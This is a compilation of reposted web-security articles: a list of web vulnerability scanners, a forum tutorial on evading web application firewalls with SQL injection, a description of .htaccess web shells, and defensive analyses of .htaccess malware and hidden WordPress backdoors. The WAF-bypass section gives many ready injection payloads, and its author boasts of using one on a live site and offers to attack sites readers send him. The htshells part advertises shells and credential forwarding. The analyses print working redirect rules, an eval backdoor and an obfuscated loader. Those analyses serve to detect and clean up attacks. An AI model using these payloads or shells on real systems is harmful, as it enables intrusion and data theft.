This tool has a free version (the above link) but also an advance version (paid)

6. Skipfish

Skipfish is an active web application security reconnaissance tool. It prepares an interactive sitemap for the targeted site by carrying out a recursive crawl and dictionary-based probes. The resulting map is then annotated with the output from a number of active (but hopefully non-disruptive) security checks. The final report generated by the tool is meant to serve as a foundation for professional web application security assessments.

High risk flaws (potentially leading to system compromise):
Server-side SQL / PHP injection (including blind vectors, numerical parameters).
Explicit SQL-like syntax in GET or POST parameters.
Server-side shell command injection (including blind vectors).
Server-side XML / XPath injection (including blind vectors).
Format string vulnerabilities.
Integer overflow vulnerabilities.
Locations accepting HTTP PUT.
Medium risk flaws (potentially leading to data compromise):

Stored and reflected XSS vectors in document body (minimal JS XSS support present).
Stored and reflected XSS vectors via HTTP redirects.
Stored and reflected XSS vectors via HTTP header splitting.
Directory traversal / file inclusion (including constrained vectors).
Assorted file POIs (server-side sources, configs, etc).
Attacker-supplied script and CSS inclusion vectors (stored and reflected).
External untrusted script and CSS inclusion vectors.
Mixed content problems on script and CSS resources (optional).
Password forms submitting from or to non-SSL pages (optional).
Incorrect or missing MIME types on renderables.
Generic MIME types on renderables.
Incorrect or missing charsets on renderables.
Conflicting MIME / charset info on renderables.
Bad caching directives on cookie setting responses.

Download here | Project here

7. Websecurify

Websecurify is an integrated web security testing environment, which can be used to identify web vulnerabilities by using advanced browser automation, discovery and fuzzing technologies. The platform is designed to perform automated as well as manual vulnerability tests and it is constantly improved and fine-tuned by a team of world class web application security penetration testers and the feedback from an active open source community.

The built-in vulnerability scanner and analyzation engine are capable of automatically detecting many types of web application vulnerabilities as you proceed with the penetration test. The list of automatically detected vulnerabilities include:

SQL Injection
Local and Remote File Include
Cross-site Scripting
Cross-site Request Forgery
Information Disclosure Problems
Session Security Problems
many others including all categories in the OWASP TOP 10

Download here | Project here

8. Burp

Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities.

Burp Suite contains the following key components:

An intercepting proxy, which lets you inspect and modify traffic between your browser and the target application.
An application-aware spider, for crawling content and functionality.
An advanced web application scanner, for automating the detection of numerous types of vulnerability.
An intruder tool, for performing powerful customized attacks to find and exploit unusual vulnerabilities.
A repeater tool, for manipulating and resending individual requests.
A sequencer tool, for testing the randomness of session tokens.
The ability to save your work and resume working later.
Extensibility, allowing you to easily write your own plugins, to perform complex and highly customized tasks within Burp.

Download here | Webiste here

Free and paid editions are available.

9. Netsparker

Netsparker will try lots of different things to confirm identified issues. If it can’t confirm it and if it requires manual inspection, it’ll inform you about a potential issue generally prefixed as [Possible], but if it’s confirmed, that’s it. It’s a vulnerability. You can trust it.

Netsparker confirms vulnerabilities by exploiting them in a safe manner. If a vulnerability is successfully exploited it can’t be a false-positive. Exploitation is carried out in a non-destructive way.

SQL Injection
XSS (Cross-site Scripting)
XSS (Cross-site Scripting) via Remote File Injection
XSS (Cross-site Scripting) in URLs
Local File Inclusions & Arbitrary File Reading
Remote File Inclusions
Remote Code Injection / Evaluation
OS Level Command Injection
CRLF / HTTP Header Injection / Response Splitting
Find Backup Files
Crossdomain.xml Analysis
Finds and Analyse Potential Issues in Robots.txt
Finds and Analyse Google Sitemap Files
Detect TRACE / TRACK Method Support
Detect ASP.NET Debugging
Detect ASP.NET Trace
Checks for CVS, GIT and SVN Information and Source Code Disclosure Issues
Finds PHPInfo() pages and PHPInfo() disclosure in other pages
Finds Apache Server-Status and Apache Server-Info pages
Find Hidden Resources
Basic Authentication over HTTP
Password Transmitted over HTTP
Password Form Served over HTTP
Source Code Disclosure
Auto Complete Enabled
ASP.NET ViewState Analysis
ViewState is not Signed
ViewState is not Encrypted
E-mail Address Disclosure
Internal IP Disclosure
Cookies are not marked as Secure
Cookies are not marked as HTTPOnly
Directory Listing
Stack Trace Disclosure
Version Disclosure
Access Denied Resources
Internal Path Disclosure
Programming Error Messages
Database Error Messages

Request a trial here | Website here

10. WebSurgery

WebSurgery is a suite of tools for security testing of web applications. It was designed for security auditors to help them with the web application planning and exploitation. Currently, it uses an efficient, fast and stable Web Crawler, File/Dir Bruteforcer and Fuzzer for advanced exploitation of known and unusual vulnerabilities such as SQL Injections, Cross site scripting (XSS), brute-force for login forms, identification of firewall-filtered rules etc.

Download here | Webiste here

11. IBM Rational AppScan

So… IBM. Yep.. IBM.

Rational AppScan has 8 versions. Yes. 8. Source, Standard, Enterprise, Reporting Console, Build, Tester Express, OnDemand. Don’t think that its the last on my list its the worst web app scanner. (Reporting Console is just a reporting console so that makes it only 7 versions :p )

Here is what they are saying:

IBM Rational AppScan is an industry leading web application security testing tool that scans and tests for all common web application vulnerabilities – including those identified in the WASC threat classification – such as SQL-Injection, Cross-site Scripting and Buffer Overflow.
Provides broad application coverage, including Web 2.0/Ajax applications
Generates advanced remediation capabilities including a comprehensive task list to ease vulnerability remediation
Simplifies security testing for non-security professionals by building scanning intelligence directly into the application
Features over 40 out-of-the-box compliance reports including PCI Data Security Standards, ISO 17799, ISO 27001, Basel II, SB 1386 and PABP (Payment Application Best Practices)
Support for next generation Web applications including the ability to scan complex Java and Adobe Flash-based sights for both traditional Web vulnerabilities as well as technology specific threats such as Cross-site Flashing threats
Enhanced support for Web Services with the ability to interact with Mega Script, Encoded URLs, and Web Portals utilizing widget-based pages
Simplified scan results through the new Results Expert wizard, further simplifying the process of interpreting scan results through scan-specific descriptions and straight forward explanations of each issue
Other Enhancements including IPv6 support, expanded language support, new scan templates, and performance improvements

Download a trial here (requires a site account) | Website here

Well this is my top 11 list of web application penetration testing tools. It has 11 items but the last one is a bit expensive so thats why ten (and SEO reasons  ) )

If i forgot one please do comment.

Thanks

Source : http://www.lo0.ro/2011/top-10-web-application-penetration-testing-tools-actually-11/

//, — , /**/, #, –+, — -, ;%00

2)Case Changing: Some WAF’s will filter only lowercase attacks As we can see we can easily evade this by case changing:

Possible Regex filter:
Code

/union\sselect/g

Code

id=1+UnIoN/**/SeLeCT, or with XSS -> alert(1)

3)Inline Comments: Some WAF’s filter key words like /union\sselect/ig We can bypass this filter by using inline comments most of the time, More complex examples will require more advanced approach like adding SQL keywords that will further separate the two words:
Code

id=1/*!UnIoN*/SeLeCT

Take notice of the exclamation point /*!code*/ The exclamation point executes our SQL statement.

Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can add more inline comments. For example, lets pretend a site filters union,where, table_name, table_schema, =, and information_schema.. These are 3 statements we need to inject our target.
For this we would:
Code

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -

The above code would bypass the filter. Notice we can use “like” instead of “=”
Another way to use inline comemnts, when everything seems to fail you can try to through the application Firewall off by crafting a SQL statement using variables:
Code

id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()– -

The above code should bypass the Union+select filters even where common inline comments didn’t work itself

4)Buffer Overflow:/Unexpected input:

Alot of WAFS are written in the C language making them prone to overflow or or act differently when loaded with a bunch of data. Here is a WAF that does it’s job correctly, but when given a large amount of Data allows the malicious request and response.

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A’s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
,27,28,29,30,31,32,33,34,35,36–+

This bypass above works. I myself just used this against a Web site recently.

5)Replaced keywords(preg_replace and/or WAF’s with the same action): Sometimes and application will remove all of a keyword. For instance, lets say we have a filter that replaces union select with whitespace. We could bypass that filter like so:

Code

id=1+UNIunionON+SeLselectECT+1,2,3–

As you can see once union+select has been removed our capital UNION+SELECT takes its place successfully injecting our query:

UNION+SELECT+1,2,3–

6)Charachter encoding:
Most WAF’s will decode and filter an applications input, but some WAFs only decode the input once so double encoding can bypass certain filters as the WAF will decode the input once then filter while the Application will keep decoding the SQL statement executing our code.

Examples of double encoding:

id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users–+

Some examples of double encoding are:

Single Quote ‘ %u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
______________________________
White Space: %u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
_______________________________
( %u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
_____________________________
) %u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
______________________________

7)Putting it all together: After bypassing a few WAF’s the task gets easier and easier, but here are some ways to find out how to bypass “your” targetted WAF:

7a)Breaking the SQL statement: To find out exactly whats filtered you need to break your own SQL syntax and check for keywords being filtered, seeing if the keyword is filtered alone or in the prescence of other SQL keywords. For instance, if union+select is giving you a Forbidden or a Internal Server Error, try removing Union and seeing what happens with just Select and vice-versa

7b)Verbose Errors: When breaking the SQL syntax you use the errors to guide you on just needs to be done for instance if were were injecting the broken syntax(Removed union to stop Forbidden errors):

id=1+Select+1,2,3–

And the error was something like:

Error at line 1 near \” \”+1,2,3–

We could gather that maybe the Word Select is being filtered out and replaced with white space. We could confirm this by injection something like:

sel%0bect+1,2,3

From there we would see if we can see a Select error. If we did a few more checks will give us a the answer we need to bypass this WAF. This is just one of many ways to break down the SQL syntax. You may have to keep breaking it, while bypassing different parts.

1. 8)Advanced Bypassing Techniques: As stated earlier once you have bypassed a few WAF’s it gets easier and easier and more and more FUN:P When one finds himself running into a wall try going through all the miscreant characters to see whats allowd and whats not allowed. These characters can be: [;:{}()*&$/|<>?"'] We can use these characters to possibly craft a working SQL exploit. For instance, during a WAF bypass I was doing everything was being either filtered or replaced. I noticed that all * were being replaced with whitespace which meant no inline comments. Union+select was also

properly filtered to produce a Forbidden error. In this instance I was able to use the replaced * to craft my exploit like so:

id=1+uni*on+sel*ect+1,2,3–+

When the * were filtered out the union+select fell right into place. Now, UNunionION+SELselectECT wasn’t working because union and select were not being replaced only * was. This is a common WAF bypass. Find the replaceable character and you find the exploit:)

Some other bypasses:
Code

id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+'SeL”ECT’ <-MySQL only
id=1+’UnI’||’on’+SeLeCT’ <-MSSQL only

As of MySQL 4.0 it is said that Uni/**/on+Sel/**/ect will not work for bypass, but if the application firewall was customized to Filter /**/ out to whitespace it will work no matter what the version.

If anyone needs any help bypassing filters after reading and trying the above tactics please pm me with the website and I will give it a go. I love this shit!!!!!!!!!!!!!!! I know this isn’t an exhaustive filter bypass tutorial, but using the above methods(and your brain) will help you bypass most WAF’s today.

Enjoy!!

sources:
Web Application Hackers Handbook
SQL injections: Attack and Defense.
Source : http://securityoverride.com/articles.php?article_id=95&article=WAF_Bypass:_SQL_injection%28Forbidden_or_not?%29

Attacks are named in the following fashion, module.attack.htaccess.
Pick the one you need and copy it to a new file named .htaccess, check the file to see if it needs editing before you upload it.
Web shells executes commands from the query parameter c, unless the file states otherwise.

- htaccess.php
  PHP based web shell access via http://domain/path/.htaccess?c=command

- htaccess.server-info
Server info binding for Apache

- htaccess.server-status
Server status binding for Apache

- mod_auth_remote.phish.htaccess *untested*
Forward basic auth credentials to server of your choice

- mod_caucho.info.htaccess *untested*
Server status binding for the mod_caucho Resin java server module

- mod_cgi.shell.windows.htaccess *untested*
Gives shell through php.exe via apache cgi configuration directives

- mod_include.shell.htaccess
Server Side Include based web shell, access via http://domain/path/.htaccess?c=command

- mod_ldap.info.htaccess *untested*
Server status binding for the mod_ldap server module

- mod_sendmail.rce.htaccess *untested*
Executes commands configured in the .htaccess file by specifying path and arguments to “sendmail” binary

Link : https://github.com/wireghoul/htshells

Why do they use the .htaccess file? For multiple reasons. First, the .htaccess is a hidden file (starting with a “.”), so some site owners might not find them in their FTP clients. Secondly, it is a powerful file that allows you to make multiple changes to the web server and PHP behavior. This makes a .htaccess the attack hard to find and to clean up.

1- Redirecting users coming from search engines to malware

This is the most simple type of .htaccess attack, and the one we see more often. This is what gets added to the .htaccess file of a hacked site:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
..
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://villusoftreit.ru/in.cgi?3 [R=301,L]

As you can see, it will check the referrer from anyone visiting the site and if the user came from a Google search (or yahoo or bing or any search engine), it will redirect the user to a page with malware (in this example http://villusoftreit.ru/in.cgi?3). Note that if you type the site directly in the address bar of your browser, nothing will happen. Why? It makes harder for the owner of the site to detect the attack, since they will probably type the site name, and not search for it on Google.

Below is another example of the same attack, but this time redirecting to http://globalpoweringgatheringon.com/in.php?n=30 (one of those Hilary kneber domains). Note that this time, they’v added hundreds of white spaces before the “RewriteCond” to make it harder to see in a text editor (We removed below to make easier to read in the post).

# BEGIN WordPress
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://globalpoweringgatheringon.com/in.php?n=30 [R,L]

2 – Redirecting the error pages to malware

This is the second most common type of .htaccess malware. Instead of redirecting all traffic, the attackers are only modifying the error pages to their own domains (even harder to detect). This is what shows up in the .htaccess:

RewriteEngine On
ErrorDocument 400 http://powercrystal.ru/inject/index.php
ErrorDocument 401 http://powercrystal.ru/inject/index.php
ErrorDocument 403 http://powercrystal.ru/inject/index.php
ErrorDocument 404 http://powercrystal.ru/inject/index.php
ErrorDocument 500 http://powercrystal.ru/inject/index.php

Other examples:

ErrorDocument 400 http://arthurlundt.cz.cc/ht_er_docs/
ErrorDocument 403 http://arthurlundt.cz.cc/ht_er_docs/
ErrorDocument 404 http://arthurlundt.cz.cc/ht_er_docs/
ErrorDocument 405 http://arthurlundt.cz.cc/ht_er_docs/
ErrorDocument 404 http://bowdencanton.co.cc/ht_er_docs/
ErrorDocument 405 http://bowdencanton.co.cc/ht_er_docs/
ErrorDocument 406 http://bowdencanton.co.cc/ht_er_docs/
ErrorDocument 400 http://nicomagen.cz.cc/ht_er_docs/
ErrorDocument 403 http://nicomagen.cz.cc/ht_er_docs/
ErrorDocument 404 http://nicomagen.cz.cc/ht_er_docs/
ErrorDocument 405 http://nicomagen.cz.cc/ht_er_docs/

3 – Appending malware to a web site

This type of attack is getting more common lately. Instead of doing the redirection in the .htaccess file, they modify the PHP value “auto_append_file” to load malware from a hidden location. For example:

php_value auto_append_file “/tmp/13063671977873.php”

So the content of /tmp/13063671977873.php gets appended to every PHP file. This is what the PHP file looks like:

<script src=”http://nicomagen.cz.cc/jquery.js”></script>

A common javascript malware. They sometimes even append fake images to make it even harder to detect.

In the next part of this article we will talk about additional .htaccess attacks and give you some tips to detect and analyze them.

Source : http://blog.sucuri.net/2011/05/understanding-htaccess-attacks-part-1.html

Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found.

In so doing, it occurred to me that most people don’t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I’d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.

Non-technical users can safely ignore this post. 

What’s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.

However, let’s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It’s also time-consuming. But, if you don’t have regular backups, you may have no real choice.

First, the obvious stuff:

• A backdoor is code that has been added to your site.
• It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.
• It will be disguised to seem innocuous, or at least non threatening.
• It will most likely involve additions to the database.

Let’s go over these individual points one at a time.

Added code

While it’s true that simple “backdoors” often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the eval command.

A simple example would be this:

eval($_POST['attacker_key']);

This, very simply, executes any PHP code sent to it from a browser.

Of course, they wouldn’t put this code just anywhere… It has to not be that easy to find, and it has to survive a normal WordPress upgrade.

How to hide code

First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There’s three obvious places:

1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.

2. Plugins. Plugins are a good place to hide code. People don’t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.

3. Uploads. Perfect. It’s explicitly designed to be writable. People don’t generally see what’s in the folders, since they’re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.

The art of disguise

This one is easy.

Step 1: Pick a name that looks harmless.

wp-cache.old. email.bak. wp-content.old.tmp. Something you won’t think of. Remember, it doesn’t have to end with PHP just because it’s got PHP code in it.

Step 2: Hide the code itself.

Except in special circumstances, legitimate code will not use “eval”. But, it happens often enough to be generally considered not harmful in and of itself. So looking for “eval” is not a good way to find malicious code.

However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is base64 encoding.

Base 64 encoding lets them disguise their commands to their hidden “eval” command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it:base64_decode.

Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There’s almost never a good reason to use them. Note the “almost” there, many plugins (notably the venerable Google Sitemap Generator) use base64_decode in legitimate ways. So it’s not exactly a smoking gun, but it is highly questionable for some randomly named file lying around to have that inside it.

Smarter authors realize this, and so have taken steps to hide even that sign…

Database obfuscation

Here’s a bit of code I’ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.

Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was included at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).

global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();

1. It retrieves a value from the WordPress database.
2. It pulls a specific section of that value out.
3. It creates a function to run that value as PHP code.
4. It runs that function.

Note how it cleverly avoids all the warning signs.

• Nowhere does it use “eval”.
• base64 is not visible at all.
• The function named strrev is used. strrev reverses a string. So the code that it’s pulling out is reversed! So much for looking for “base64_decode”.

The actual value in the database looked like this:

...a bunch of junk here...J3byJXZ"(edoced_46esab(lave

Reverse that. What do you have? Why, it’s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.

The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.

So, break down how this code works.

1. The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.
2. That code, which does not use any trigger words, loads a nondescript value from the options table.
3. It performs some string operations on that code, then executes it.
4. The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.

Summary

This is the sort of thing you’re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I’ve never seen a hacked WordPress installation that was missing it. Sometimes there’s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.

And one more thing… before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn’t actually hacked already, before you put the latest code on there. If you don’t fully clean up after a hack, then you *stay* hacked. It’s not a new hack, it’s the same one.

The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don’t know that for sure is really not all that helpful. You’re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they’re found. But they can’t patch code that made it onto your site from some other method, can they? Just something to keep in mind.

source : http://ottopress.com/2009/hacked-wordpress-backdoors/